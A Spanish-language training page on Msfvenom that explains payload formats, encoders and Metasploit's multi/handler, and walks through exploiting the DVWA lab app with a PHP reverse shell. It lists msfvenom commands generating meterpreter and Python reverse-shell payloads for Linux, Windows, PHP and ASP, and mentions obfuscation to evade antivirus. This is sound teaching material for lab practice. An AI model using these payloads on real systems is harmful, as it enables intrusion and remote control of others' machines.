XUT_ / COURSES / CYBER SECURITY 101

Msfvenom

Msfvenom reemplazó a Msfpayload y Msfencode y te permite generar payloads. Msfvenom te permite acceder a todos los payloads disponibles en el framework de Metasploit. Te permite crear payloads en diferentes formatos (PHP, exe, dll, elf, etc.) y para varios diferentes sistemas (Apple, Windows, Android, Linux, etc.).


Formatos de salida

Puedes generar un ejecutable para meterpreter o un archivo crudo, como python. El comando msfvenom --list formats puede ser usado para listar formatos de salida soportados.


Encoders

Contrario a lo que algunos piensan, los encoders no tratan de sobrepasar antivirus instalados. Efectivamente codifican el payload, pero más al ojo humano que a una máquina. Una práctica más robusta para evitar antivirus sería usar técnicas modernas de ofuscación o inyectar código shell. Para encodear debemos usar el parámetro -e, por ejemplo:

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64

  • -p: Especifica el tipo de payload.
  • -f: Especifica el formato, en este caso raw, lo que significa que no contendrá headers ni formateo.
  • -e: Especifica que el payload deberá ser encodeado.

Handlers

Similar a los exploits generando una reverse shell, necesitarás ser capaz de aceptar conexiones entrantes generadas por el payload de Msfvenom. Al usar un módulo de explotación todo esto es manejado automáticamente. El término usado para recibir una conexión es "catching shell".

Explotaremos una vulnerabilidad presente en DVWA (Damn Vulnerable Web Application), los pasos son:

  1. Generar una shell PHP usando MSFvenom.
  2. Lanzar el handler de Metasploit.
  3. Ejecutar la shell PHP.
NOTE

El PHP de salida no tendrá el tag de php inicial ni final, hay que editarlo para que sea válido.

Para usar el multi handler, usaremos el módulo use exploit/multi/handler. El multi handler funciona para todos los payloads de Metasploit y puede ser usado para Meterpreter también.

Para usar el módulo, necesitaremos configurar el valor del payload (php/reverse_php en este caso), el LHOST y el LPORT.


Otros payloads

Basándonos en la configuración del sistema objetivo, msfvenom puede usarse para crear payloads en casi todos los formatos:

Linux Executable and Linkable Format (elf)

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

Es como el formato .exe en Windows.

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp

Python

msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

Todos estos ejemplos son payloads reverse.